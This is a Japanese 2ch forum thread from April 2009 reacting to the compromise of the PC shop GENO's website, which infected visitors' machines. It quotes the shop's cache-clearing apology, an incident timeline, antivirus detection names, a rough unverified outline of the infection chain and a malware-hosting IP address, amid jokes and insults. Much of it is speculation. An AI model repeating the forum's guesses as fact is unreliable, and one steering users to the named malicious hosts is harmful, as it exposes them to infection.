【0.1】ﾈｯﾄｼｮｯﾌﾟ｢GENO｣等でウイルス感染　業務再開するもGENOｻｲﾄﾞは｢ｷｬｯｼｭ消せ｣とふざけた対応★11

お客様へ
4月4日、4月7日に当社のwebサイトに外部より不正アクセスが有り、
一部のプログラムに不具合が生じ、当社のHP以外のページへリンクされる状態が発生しました。
ご迷惑をおかけし申し訳ございません。
現在は外部からのアクセスができないように対処いたしました。
現在すべてのプログラムは正常となっております。
すべてのプログラムチェックの為、復旧に時間がかかりましたことを重ねてお詫び申し上げます。

又、旧プログラムを消去するためお客様側の対処といたしましてはwebブラウザのキャッシュのリセット頂く事をお願い致します。
・インターネットエクスプローラー6をご利用のお客様
・インターネットエクスプローラー7をご利用のお客様
・Firefoxをご利用のお客様

尚、サーバーのウィルス感染や個人情報の流失はございません。

今後はセキュリティーの強化を更に徹底いたします。
このたびは多大なるご迷惑をおかけし申し訳ございませでした。
今後ともよりいっそうのお買い得商品の提供に邁進する所存でございます。
GENOwebを引き続きよろしくお願い申し上げます。

ttp://www.geno.co.jp/webshop/okyakusama.html
(何があるかわからないので　アクセス注意)

関連記事　中古PC通販サイト「GENO」が不正アクセスで改ざん
http://www.security-next.com/010247.html
前スレ　【0.1】ﾈｯﾄｼｮｯﾌﾟ｢GENO｣等でウイルス感染　業務再開するもGENOｻｲﾄﾞは｢ｷｬｯｼｭ消せ｣とふざけた対応★10
http://tsushima.2ch.net/test/read.cgi/news/1239178101/
まとめwiki
http://www29.atwiki.jp/geno/

04/04(土)
・PC一般板のGENOスレで「GENOのサイトが改竄されている」との報告が出る。(10:43)
・スレでの報告から、GENOサイトにアクセスするとウィルスに感染する可能性があることが明らかになる。
・ν速にスレが立つ。(20:26)
・改竄されたまま一日を終える。

04/05(日)
・この日の夜から短縮URLによる各板へのウィルス爆撃が本格化。多数の犠牲者が出る。
・セキュリティ板で通販サイト juicyrock.co.jp もGENOと同様の改竄を受けていることが報告される。
・楽天のショップ www.rakuten.ne.jp/gold/i-na/ でGENOウィルスを検出したという話題が出る。
・GENOサイトは完全放置のまま1日が終わる。

04/06(月)
・社員がようやく出社してきたのか、サイトがメンテナンス中になる。(10:00頃)
※ただし「メンテナンス中」に切り替えたのはトップを含む数ページのみで、未だ改竄された商品ページなどにアクセス可能だった。
・価格.comなど価格比較サイトからGENOへのリンクが消える。
・juicyrock.co.jp が403になる。その後復旧、「お詫び」が発表される。
・www.rakuten.ne.jp/gold/i-na/ のページが真っ白に。その後何事もなく再開。
・GENOが再開。「サーバーに一部不具合がございました」(20:20頃)
・再開したものの、未だ改竄されたままであることが報告される。その後しばらくして正常に。

04/07(火)
・GENO、再度改竄される。いわゆる「ジェノ再度事件」(8:00頃)
・GENO、再びメンテナンスに。(8:10頃)
・インプレスにGENOウィルス事件についての記事が出る。(15:59)
・GENOが再び再開。「お詫び」を発表。(23:30頃)

04/08(水)
・新たに www.naxos.co.jp がGENOと同様の改竄を受けていることが確認される。(1:20頃)

1乙

大儀であった、ゆっくりと休むよい＞１

　　　　　　　　　　　　　　　　　　　 ,===,====、
　　　　　　　　　　　　　　　　　　 _.||＿__|_____||_
..　　　　　　　　　　　　　　　∧_∧　 ／||＿＿＿|^ ∧_∧
..　　 　　　　　　　　　　　　(・ω・`)／／||　　　|口| |ω・` )
.　　　　　　　　　　　　　.／(^(^ .／／||...||　　　|口| |ｃ 　）
.....　 　 　 　 　 　 ∧_∧ ／　／／　 ||...||　　　|口| ||し　　　　　　新スレです
.......　　　　　　　　(・ω・`) ／／....　　||...||　　　|口| ||　　　　　　　　楽しく使ってね
　　 　　　　　　／(^(^　／／ 　....　　.||...||　　　|口| ||　　　　　　　　仲良く使ってね
　"" 　　　:::''　|／　 　|／　''　"　　:::　　⌒　 :: ⌒⌒⌒ ::　""　　`
　::　,,　:::::　,,　;￣￣￣　　"､　:::: "　,, ,　:::　　 "　::　"　::::　　"

これ他のサイトに亜種出回っている？

いちおつ

>>2
あったのか
そこでもないような

　':, 　　　　 ',　　　_____,,.. -‐ ''"´￣￣｀"'' ｰ　､.,　　　　　　　　 　／
　　':,　　　　',　　 ＞'　´　　　　　　　　　　　　　｀ヽ.　　　　　　 /　　し　バ
　　　':,　　　　 ／　　　　　　　　　　　　　　　　　 　 ヽ.　　　　 ,'　　 な　カ
　　　　':,　　 ,:' ／　　 ／　 　,'´　　　　　　　 ヽ.　　 　 ':,/Ti　 i.　　 い　に
.　＼　　　　,' /　　　/　 ,'　　!　　　　 　;　 　',　 ヽ__　／::::| |　|　　 で
　　　＼　 / ,'　　　,'!　 /!　　!　 　;　　/!　　　i　 「:::|'´::::::::| |　.!.　　 く
　　　　 ∠__,!　　 / !メ､」_,,./| 　 /!　/　!　　 ﾊ!　|__」＜:::::」」　|.　　 れ
｀"''　 ､..,,_　 !　 /　,ｧ7´, `iヽ|　/　|ヽ､」ﾆイ､　|　 !　|^ヽ､」」 　|.　　 る
　　　　　　　i,／ﾚｲ　i┘　i.　ﾚ' 　 'ｱ´!_」 ハヽ|　　　|　　　| ∠　　　! ?
─--　 　 　/　　 !　 ゝ- '　　　　 　　! 　　 !　!　　　|　　　|　　｀ヽ.
　　　　　　/　 　7/l/l/　　　､　　 　　`'ｰ‐ '_ノ!　　　|　 i　 |　 　　｀ ' ｰ---
,. -──-'､　　,人　　　　｀i`ｧｰ-- ､　　/l/l/l |　　　 !.　|　 |
　　　　　　 ヽ.ｿ　 `: ､. 　　ﾚ'　　　　', 　 u　,/|　　　 |　 !　 |
　そ　　知　　i　　/ｰﾅ= ､ '､　　　　ﾉ　　,.イ,ｶ　　　 !　 |　 |
　の　　 っ 　.|ﾍ./|／レへ｀＞-r　 =ﾆi´､.,_　|　 i　 ﾊ　 !　,'
　く　　 て　　 !　　　　 _,.イ´ヽ.7　　 ／　 /:::|　/ﾚ'　 ﾚ'ﾚ'
　ら　　る　　 | 　　／7:::::!　　○Ｏ'´　　/::::::ﾚ'ヽ.
　い　 .わ　　.|　 /　 /:::::::レ'/ムヽ.　　/::::::::/ 　 ヽ.
　! !　　よ　　 ! ./　 ,':::::::::::!/　ハ:::::｀´:::::::::::;'　　　　',

No.371　 エニシダ(関西地方)　［］　2009/04/08(水) 22:18:28.38 ID:OmOuKv7q　

ＸＸ製菓の食品で食中毒が出た。
外部の人間が工場を外から眺めてみるとあきらかに製造工程の一部に穴が開いてて汚水が流れ込んでる。
電話しても通じない。

直営店に行ってみても「工場の中のことはうちではわかりません」で連絡もしない。
そんなうちにどんどん出荷されて食べて中毒になる人が増えていった。

3日後、ようやく工場閉鎖するも在庫は裏口から出荷してた。

外部の人間の調査により、汚水によってもたらされた毒は最近流行のもので、
あらかじめワクチンを打ってた人には効かないが、そうでない人には致命的なものだとわかってきた。

そして工場再開。
食中毒の件については、工場の前の小さな貼り紙に「正露丸でも飲んどいてください」の一言。

色々なスレ観ていて思うのは「俺はGENOなんてサイト知らないし行ったことも無いから大丈夫」と
言ってる人が非常に多いと言う事だな。
明日は我が身だぜ・・・

で、今はGENO踏んでも安全なの？

Genoの方信じるのも自由だがスキャンの案内書いてあるので貼っとく
ttp://corp.itmedia.co.jp/corp/notice/20090407.html

キャッシュ削除したら大丈夫とか言ってる様なサイト踏めるか？

じゃ>>1は専ブラでリンク表示しないようにしとけ！
踏んじまったじゃまいかｗ

　　　　　　　　ゴガギーン
　　　　　　　　　　　　　ドッカン
　　　　　　　　　ｍ　　　　ドッカン
　　＝＝＝＝＝）　）)　　　　　　　　　☆
　　　　　 ∧_∧ |　|　　　　　　　　　／　　　　　　　　　　／￣￣￣￣￣￣￣￣￣￣￣
　　　　　（　　　）|　|＿＿＿＿＿　　　　∧＿∧　　　＜　　おらっ！出てこいよ！GENO
　　　　　「　⌒￣　|　　　|　　　　||　　　（´Д｀　）　　　　＼＿＿＿＿＿＿＿＿＿＿＿
　　　　　|　　　/ ￣　　　|　　　　|/　 　 「 　　　＼
　　　　　|　　　|　|　　　　|　　　　||　　　 ||　　 /＼＼
　　　　　|　　　 | |　　　　|　　　　|　　へ//|　　|　　| |
　　　　　|　　　 | | 　　　ﾛ|ﾛ　　　|／,へ ＼|　　|　 | |
　　　　　|　∧　| |　　　　|　　　　|／　　＼　　/　（　）
　　　　　|　|　|　|〈　　　　|　　　　|　　　　　|　|
　　　　 / /　/ / |　　/ 　|　　　 〈|　　　　　|　|
　　　 / /　 / /　|　　　　|　　　　||　　　　　 |　|
　　　/ /　//　=-----=--------　　　　 |　|

>>12　Genoがどのような対策をとったか詳細が発表されないので安全かどうかは不明
1の関連記事で改竄されたところは安全の確認とれるまでサイト閉じてるけど
ここは3日営業後topページのみメンテ案内　数時間後再開だったってのは記憶にあるな

Genoは謝罪セールとかはしなくて良いから経緯とどのような対策したのか詳細をだしてくれ
あと退会をwebでできるようにしてくれ

アクセス注意とか書いた>>1は営業妨害で訴えられればいい。
自分のPCが糞なのが原因なのに文句言ってる奴は脳みそに蛆がわいているんじゃね？(^_^;)

謝罪文の内容でも考えてろよｗ>>18

>>18
会社が潰れるかどうかの瀬戸際なんだね、可哀想に・・・・・・・・

ウィルスばら撒いた店のサイトを無警戒で踏めなんて無責任に書けないよな普通

お前ら猿かよ

ID:WyCnXqGb

461 名前： ビオラ(コネチカット州)[sage] 投稿日：2009/04/09(木) 00:02:55.97 ID:WyCnXqGb
再起動したらOSがたちあがらなくなった。

クソッタレが

471 名前： ビオラ(コネチカット州)[sage] 投稿日：2009/04/09(木) 00:09:05.32 ID:WyCnXqGb
ふざけやがって。


976 名前： ビオラ(コネチカット州)[sage] 投稿日：2009/04/09(木) 11:39:10.69 ID:WyCnXqGb
PC環境も整えられない馬鹿ばかり(´・ω・｀)

978 名前： ビオラ(コネチカット州)[sage] 投稿日：2009/04/09(木) 11:41:50.48 ID:WyCnXqGb
さっさとOLインストールしなおせ

病原菌に猿とか言われたお

ﾔﾏｴﾝｺﾞｻｸ(北海道)
(´・ω・｀)

何か進展ないの？

>>26
暇だから工作員の振りして携帯から暇つぶしってか。
くだらねぇ人間

WyCnXqGb
がサルなのはよぉ〜くわかったｗｗｗ

はずかしいやっちゃのーｗ

工作員(^_^;)

>>30
くだらねぇ上にツマンネ、でっかいAAでも貼ってくれや

　　　　　　_______　　　　　　　　　　　　　　　　　　　　　_＿
　　　　／／￣~`i ゝ　　　　　　　　　　　　　　　 　 　 `l |
　　　 / /　　　　　　　 ,______　　　,_____　　　　________　 | |　　____　TM
　　　|　|　　 　 ＿__　//￣ヽヽ　//￣ヽヽ　（（￣）） 　 | |　//￣_>>
　　　＼ヽ、　　 ｜l　| |　 　 | |　| |　 　 | |　　``( (.　　.| |　| | ~~
　　　 　 `、二===-'　 ` ===' '　　` ===' '　 //￣ヽヽ　|__ゝ ヽ二=''
　　　　　　　　　　　　　　　　　　　　　　 　 ヽヽ___//　　　日本
　　＿＿＿＿＿　＿＿＿＿＿　 ＿＿＿＿＿_ 　＿_＿＿＿＿＿
　　|　 ウェブ 　|　|　イメージ　|　|　グループ　|　|　ディレクトリ　|
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　 .＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　　｜GENO　ウイルス　配布 　　　　　　　　　│・検索オプション
　　　　　　└────────────────┘・表示設定
　　　　　　　 　| Google検索　|　I'm Feeling Lucky　|　　・言語ツール
　　　　　　　　 ￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　　○ウェブ全体から検索 ◎日本語のページを検索

スタッフA
「Webサイトの改ざんによるウイルス感染など普通にパソコンを使用しているだけでも、
ウイルスに感染してしまうという事例が増えています」

スタッフB
「ウイルスの感染を未然に防ぐためにも、最新のセキュリティソフトを使用し、
ウイルス定義データベースを常に最新に保つことが、安全なPC使用の第一歩です」

スタッフC
「ただいま、通販ショップGENOでは、総合セキュリティソフト各種を好評取り扱い中！
PCパーツご購入の際にご一緒にいかがですか？」

http://www.geno.co.jp/recruit/job_01.jpg

>>33
中国人？

おれがGENOだ

いやいや俺だ

いいからしねよ

　 　 　　　＿＿＿_
　 　　　／　　 　 　＼
　　　／　 _ノ 　ヽ､_　 ＼
　 ／ 　oﾟ⌒　　　⌒ﾟo　 ＼ 　 今日もまたスレでひたすら擁護する仕事が始まるお…
　 |　　　　 （__人__）　　　　|
　 ＼　　 　 ｀ ⌒´ 　 　 ／

まだやってんのか
ワクチン屋がちゃんと対応するまで店をしめろよ

ァィグーァィグー

他のキーワード: geno
geno-web    geno ウイルス   geno ウィルス   geno 福袋   geno 2ch
geno pc geno x40    GENO R4 GENO パソコン   株式会社GENO

ジェノサイドがまだないな

毎日GENOみてたのにウイルス貰ってなくてつまらん

GENOと検索かけたら「もしかしてウイルス？」と指摘される日はちかいな

linuxでこんにちわ

GIZMODE Japan | GENOウイルス情報
http://gizmode.blog26.fc2.com/blog-entry-212.html

中古PC通販サイト「GENO」が不正アクセスで改ざん：Security NEXT
http://www.security-next.com/010247.html

通販サイト「GENO」の改ざん、広告掲載サイトにも影響：Security NEXT
http://www.security-next.com/010250.html

PC通販サイト「GENO」のサイトに改ざんの疑い
http://internet.watch.impress.co.jp/cda/news/2009/04/07/23057.html

PC通販ショップGENOのサイトにマルウェアが仕込まれる - スラッシュドット・ジャパン
http://slashdot.jp/security/09/04/07/042220.shtml

PC通販サイト「GENO」のサイトに改ざんの疑い（記事内容改ざんされてる？）
http://news.goo.ne.jp/article/internet/business/it/iw2009040809-internet.html

完全にアウトな環境でアクセスしたがoutpostproが不穏な
別プロセス検知してブラウザシャットダウンして奇跡的に感染防げてた
今年はついてるな

ｔ

今、TOPにいったら感染する？

今回の騒ぎで売王のほうがいいって椰子がいたな
確かに売王の方が安いな(誤爆多数だがw
GENOも以前は同程度の値付けだったけど最近はねー
ゴミ捕獲は安ほうがいいしわな

いいかみんな、テーマ曲はこれで決まりだ！

GENO( ゜д゜)再度
　　＼／|　y |＼／

　
　( ゜д゜)ジェノサイド（Genocide＝集団虐殺）　→　http://www.youtube.com/watch?v=0x8IMnFCEAM
　(＼／＼／

genoういるす

海外サイト覗いていたらGENOウイルスはすでに3月28日に広まっていたんだな
もう世界征服も夢じゃない＞GENO

緊急用に使ってるubuntu付属のオセロのAIがやたらと手ごわい件

>>52
案外genoの世界進出の足がかりにするためのウィルスだったのかもしれないな。
この後、Genoが海外への発送も可能になったら怪しいと思うｗ

まさかこうも悪質なウイルスだとは思いもしなかっただろうな

http://corp.itmedia.co.jp/corp/notice/20090407.html
広告載せてたほうがここまでいってんのにまだ当事者は
キャッシュクリアでおｋとかいってるの？

＞ウイルス対策ソフトでの検出は可能ですが、現時点では対策ソフトでの駆除はできません。

はっきりリカバリしかないとは書いてないけどそれまでの具体的にどうするべきかは書いてある
本当はこうしなきゃならないのに

>>52
へー、そんな時期から出てたのか

相変わらず「キャッシュ削除しろ」と書いてあるんだなｗ

いつから、リンクを踏むと直接行くようになったんだ？

>>56
GENOが糞だからどうしようもねぇ

精神衛生上心地悪くて満足にネットサーフィンもできん
vistaでavast各種最新にはしてるんだがなあ

感染すると右下からポローンと出てくるavastのアレも出なくなっちゃうの？

割と規模の大きい騒動になりつつあるのに
ソースネクストのZEROはまだ未対応ｗ
crestronjapanにアクセスしてもla.exeを突っ込んでもスルー
さすがだ

>>33
痔の店員

ttp://usokomaker.com/omikuji/r/geno

ime.nuが無い！

スクリプト切ってたら大丈夫？

つかGENO側にはキャッシュ削除だけじゃ治らないって事は既に
誰か連絡してるんだろ？
何で未だにトップページにキャッシュ削除とか書いてんの？
普通各ベンダーのリンクとか貼ってオンラインスキャン奨めるだろ。

921 名前： プリムラ・ビオラケア(catv?)　[sage]　投稿日：2009/04/09(木) 10:05:33.67 ID:aViwwQpO
何もしてないやつが踏んだ場合の流れ。間違ってたら指摘してくれ。

一、GENOのサイトを訪問。スクリプトをどうぞ！
二、実はこのスクリプト書き換えられてんですサーセン、外部のスクリプトどうぞ！
三、無料でマルウェア入りPDFとフラッシュをプレゼント、ReaderとかFlash Player起動しときますね！
四、ファイルに埋め込んであったコード実行、バッファオーバーランで本当にありがとうございました。

GENOが言ってるのは、最新版を使ってれば上記の四のところを回避できるから、
一時的にPCが止まったりしても最悪キャッシュ消して再起動すれば問題ないってことだと思う。
実際そうなのかは確かめてないからわかんない。つまりGENOはアップデートしてなかった奴のことを(ry

ニコニコにログインした履歴のあるPCが完全にぶっ壊れるウイルスの始まりであった

>>69
言葉足らずにも程があるなｗｗ

土曜に冗談で踏もうと思ったが踏みとどまって良かった。
こんな凶悪な物だったとは・・・・
無数にドライバやフリーソフトとか入れてるのに、クリーンインストースした後に元に戻せる自信が無いw
で、このウイルスって正式名称決まったの？

>>72
村岡隆ウイルス

せわしないのう

関係ないかもしんないけど
海外のflv動画をﾀﾞｳｿするページを開いたら
avastﾀｿが警告出して遮断した
前は大丈夫だったのに

>>72
GENOサイトウイルス

前スレのこれは正解なの？

検知できるソフト

AntiVir TR/Agent.caaj.B
Avast Win32:Trojan-gen {Other}
eTrust-Vet Win32/SillyDl.HDU
GData Win32:Trojan-gen {Other}
McAfee-GW-Edition Trojan.Agent.caaj.B
NOD32 variant of Win32/Delf.OEX
Prevx1 High Risk Cloaked Malware

ﾄﾚﾝﾄﾞﾏｲｺｰとかｽﾏﾝﾃｯｸはだめなのかな？

Adobeの日本サイトとかdownloadのAcrobat（Readerにあらず）の所で修正パッチDLできないから、Acrobatは放置してて、この話出てからの対策になっちゃったよ。
なんであんなに大金取ってんのにAdobeは駄目なんだ・・・

>>75
どういう警告かによるけどたぶん関係ないよ
エロサイトにはそういうのつきものだから注意しようね

ITmediaってGenoの提灯記事書きまくりだな。
http://www.google.co.jp/search?hl=ja&q=site%3Aplusd.itmedia.co.jp+geno

後追い記事もちゃんと書くべきだよな。Genoには相当広告料もらってんだろ？

おもな関連スレ。

【ｳｲﾙｽ】GENOを語るスレ31【完治】
http://pc11.2ch.net/test/read.cgi/pc/1239199378/

【新種ｳｲﾙｽ】GENOを語るスレ31【無料配布中】
http://pc11.2ch.net/test/read.cgi/pc/1239197673/

GENOウイルススレ
http://pc11.2ch.net/test/read.cgi/sec/1239152979/

【顧客相手に】GENOを語るスレ24【ｻｲﾊﾞｰｼﾞｪﾉｻｲﾄﾞ】
http://pc11.2ch.net/test/read.cgi/jisaku/1239183817/

GENOはこれからも通常営業続けていくだろう
被害者は泣き寝入りしてくれるから。

被害に遭った人は被害届けだしてもいいと思うんだよね
わかってて閉鎖しなかったわけだし

IPAだとこのへん
http://www.ipa.go.jp/security/outline/todokede-j.html

前も貼ったけど再掲
http://www.ipa.go.jp/security/virus/faq/qa_a.html#7-1
Ｑ１.ウイルスを他人に感染させると法的に罰せられるのですか。

悪意を以てウイルスを送り込み、他人の電磁資産を改変したり
破壊する等の被害を与えた場合に電磁的記録の改ざん等で
罰せられる場合があります。
（刑法第7条の2、第161条の2、第234条の2、第246条、
第246条の2、第258条、第259条参照。）


Ｑ３.ウイルスを感染させたことで損害賠償を要求された事例はありますか。

新聞等で報道されたことはありません。
しかし、ウイルスを感染させた場合は、企業としての
信用問題にもなりかねません。
知らないうちにウイルス感染の加害者にならないためにも、
日頃からのウイルス対策は必要です。

あくまでもシラをきるつもりか

ウイルスを4日間放置ってのをスレタイに入れたほうがいいな。

業務上過失なんたら

GENO「利益優先した結果がこれだよ！」

先週末から今週にかけての売上を見てみたい

リンク貼っても逮捕？

いい加減中古を新品に見せかけて売るの止めろ

>>88
相手に被害を与えることを意図して行った行為なら
被害届出されたら限りなく黒に近いグレー。

謝罪まだぁ〜

週明けには再度改竄されて「ご覧の有様だよ」になってるだろｗ

**** 価格比較のECナビ Part43 ****
http://gimpo.2ch.net/test/read.cgi/point/1238752206/l50

>>88
httpを消して貼ればおｋ何でも貼るな貼るな言うﾔｼはDQN

GENOからメール返ってこないけれども
これは悪意があったと見ていいのかね

アホなことは止めておきます。

ウイルスサイトどーなってるのか自分で見てくるわノシ

GENO社員は　”未必の故意”　という言葉を知らないと思われる。
訴えれば余裕で勝てると思うよ。

インターネットのしくみ

　　∧＿∧
　 ( 　･ω･)
＿(__つ/￣￣￣/
　　＼/　　　　 /
　　　　￣￣￣＼　（エロ画像） （　ZIP　） （　exe　）　　（個人情報）
　　　　　　　　　　＼┗(^o^ )┛┗(^o^ )┛┗(^o^ )┛　　┗( ^o^)┛
　　　　　　　　　　　 ＼┏┗　　　　┏┗　　　┏┗　　　　　 ┛┓
　　　　　　　　　　　　　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣

まあ何にしても解決方法が「キャッシュ削除」はねーわｗ
キャッシュ削除して消えるのはウイルスじゃなくてテメエの
サイト覗いた履歴だろｗ証拠隠滅ご苦労様。

テンプレどうぞ。
┌─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┐
│　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │平│成│２ │１ │年│４ │月│○│○│日│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│千│葉│県│習│志│野│市│茜│浜│３ │−│○│−│○│　 │　 │　 │　 │　 │　 │
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│株│式│会│社│　 │G │Ｅ │N..│Ｏ.│　 │代│表│者│殿│　 │　 │　 │　 │　 │　 │
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │自│分│の│住│所│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │名│前│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│　 │　 │　 │　 │　 │　 │　 │通│知│書│　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│私│が│御│社│の│電│子│頁│を│○│日│に.│閲│覧│さ.│せ│て.│頂│き│ま.│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│し.│た│所│、..│ウ│イ │ル│ス│が│検│出│.さ.│れ│ま│.し.│た│。..│尽│き│ま.│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│し.│て.│は│至│急│安│全│な│物│で.│あ│る.│か│お│知│ ら│せ│下│.さ│い│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│｡...│　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤

>>99
ウィルスじゃなくて「旧プログラム」だからそれでいいんだよ

お、スレ立てご苦労さんでした。>>100

>>99
そーゆー事だったのか・・・

当サイトとしては、キャッシュの削除が
ウイルスの除去に繋がるとは述べておりません
不安な方は、
個人情報に繋がるデータ、及び当サイトに関するものを含む
キャッシュをすべて削除した上で、ご相談くださいませ

みたいな感じ？

>>94
httpがあるかないかなんてのは無関係。
重要なのはアドレスを書いた意図。

アメリカの裁判では制裁的な意味を込めてで賠償額を半端ない額にすることがあるんだが日本でもこれをやるべきだな。

ウイルスを無視して営業を続けた方が儲けが出るんじゃ、また同じことが起きたらまたウイルスを無視してしまう。
国はこれを許してはいけない。　そこで賠償金を1000万とかにする。　そうすればもう無視は出来ないだろう。

国会議員と経済産業省は仕事してくれ。

ＣＣＣ辺りに連絡した方が良い気がする

改竄されてるって誰かがいたずらしかけてるってこと？

>>106
そういうのは事業規模や得られた利益によって決めないと。
1,000万なんて役員報酬にすら満たないし。

日本じゃ最高1億だっけ？

一応、アクセスした事を伝えておくべきではないか。
で、ついでに警察等に相談したか等も聞く。
あとで大変なウイルスだった場合には、
嘘の説明してたって事で文句いえるし。いい文章思いつかないけど。
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│各│報│道│機│関│の│情│報│で│御│社│ホ.│ー│ム│ペ│ー.│ジ│上│に.│ウ│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│イ.│ル│ス│が│含│.ま│れ│て.│い│た│事│を.│知│り │ま│.し.│た│。..│私│も.│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│○│日│に│ア.│ク.│セ│ス.│し.│て.│し.│ま.│っ.│た│為│、..│安│全│確│認│を│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│さ.│せ│て.│頂│き│た.│い│と │考│え│て.│お│.り.│ま│す.│.｡..│尽│き│ま.│し │
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│て│は│.１.│週│間│以│内│に│､ ..│感│染│の│経│緯│､...│詳│細│等│を│書│
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│面│に│て.│お│知│ら.│せ│下│さ │い│。..│　 │　 │　 │　 │　 │　 │　 │　 │　 │
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤
│　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │　 │
├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤

地味に長続きしてるな

>>107
これ？初めて知ったわ
https://www.ccc.go.jp/

JPCertあたりもどうかなあ
IPAには通報したけど反応ない

>>113
IPA無反応はまピョーン☆で把握しろと

GENO って、以前も格安だけど客を完全無視していた倒産企業の経営者のところでしょ？
当時も色々と問題沙汰になったけど、打たれ強い会社だから、騒ぐだけ無駄かと。


　比較にならないかもしれないけど、大○ジムに比べたらかなり良心的な方。

>>106
アメリカの懲罰的損害賠償なんてめちゃくちゃな悪法だぞ。
ゴネるのが大好きな民族がいる国では採用しちゃ駄目！

489:名無しさん＠お腹いっぱい。[]
2009/04/09(木) 14:46:49
firefoxで94.247.2.195にアクセスしたらセーフブラウジングが遮断した
以下そこに表示された「このサイトがブロックされる理由」

セーフ ブラウジング
94.247.2.0 の診断ページ

94.247.2.0 の現在のステータス
現在のところ、このサイトは疑わしくないと認識されています。

Google による巡回テスト状況
このサイトで過去 90 日間に Google がテストした 272 ページのうち 0 ページで、ユーザーの同意なしに不正なソフトウェアがダウンロードされ、インストールされていたことが判明しました。
Google が最後にこのサイトを巡回したのは2009-04-07で、このサイトで不審なコンテンツが最後に検出されたのは2009-04-07です。
Malicious software includes 240 scripting exploit(s), 16 trojan(s), 5 exploit(s).
This site was hosted on 1 network(s) including AS12553.

有害な不正ソフトの感染を広げる媒介をしていたかどうか
過去 90 日に、94.247.2.0 は ultimathulelodge.com/, zavallis.com/, databpo.com/ を含む 4 サイトの感染媒体として機能していたようです。

不正なソフトウェアをホストしていたかどうか
はい、このサイトでは不正なソフトウェアのホスティングが過去 90 日の間に検知されています。serona.pe.kr/, hitzwallpaper.com/, firat.edu.tr/ を含む 7560 個のドメインを感染させています。

Updated 36 hours ago


7560！！？

ウイルスがしでかしたことであれば、それが何であれ責任がどうこうという問題にはならんと思いますが。
何せウイルスのすることですから。

無論だ。不可抗力ならばいたしかたない。

もしかして、ウイルスのせいじゃないんじゃね？

旧プログラムのせいで、重くなるとか。
GENOユーザはずっと、そのプログラムいれられてたんじゃね

PCを初めて買ったのは行徳のステップだった俺が記念ｶｷｺ

GENOに損害賠償を求めようぜ

5つのNO! STEP

5つのNO!に
1つのウィルスが加わったんですね
geno

GENOは岡本玄介さんに謝れ！似たアドレスで可哀想

5つのNO

NOSCRIPT推奨　※ただし買い物はできません
GENOウイルスプレゼント
メールでのお問い合わせはNO　返答しません
NO!あなたのPCの不調はGENOのせいではありません

説明なし
展示なし
交換なし
解約なし
無料サービスなし

ウイルスあり

請負工作って、歩合制なの？

セキュ板よりCNET
http://japan.cnet.com/blog/sec_newbie/2009/04/07/entry_27021630/

細心の注意を

とか言ってるがそれができれば感染は広まらない罠

>>128
いつも見てたサイトが突然コレだから・・・
マジ萎える

>>117
それ、36時間前の数字だから。

少なくても今現在なら恐らく1.5倍位食らってると思うし、
それ以前にまともに食らって無いけど、軽く食らった奴とか
恐らくYahoo!やWindowsLiveSearch等を経由して食らった奴はそもそも対象外だと思うし。

Botによる自動診断だから過信は出来ないよ。
あくまで最低限それ位食らってるって感じで見ないと。

GENOも部分的にはまあ可哀想だよな
対処済みのウィルスだったら今のままでも鎮火したかもしれないけど
未知かつ凶悪だからな
馬鹿な選択をしたもんだ
俺はたまたま最初携帯でリンク踏んでラッキーだったけど
PCの方で踏んでたら今頃涙目だった

GENOのせいで怖くてネットバンキングが使えない・・・

もう書き込みすくなくってきたから終わりでいいんじゃないか

終わらないよ！

会社名株式会社GENO（ジェノ）
住所千葉県浦安市高洲2-1-10
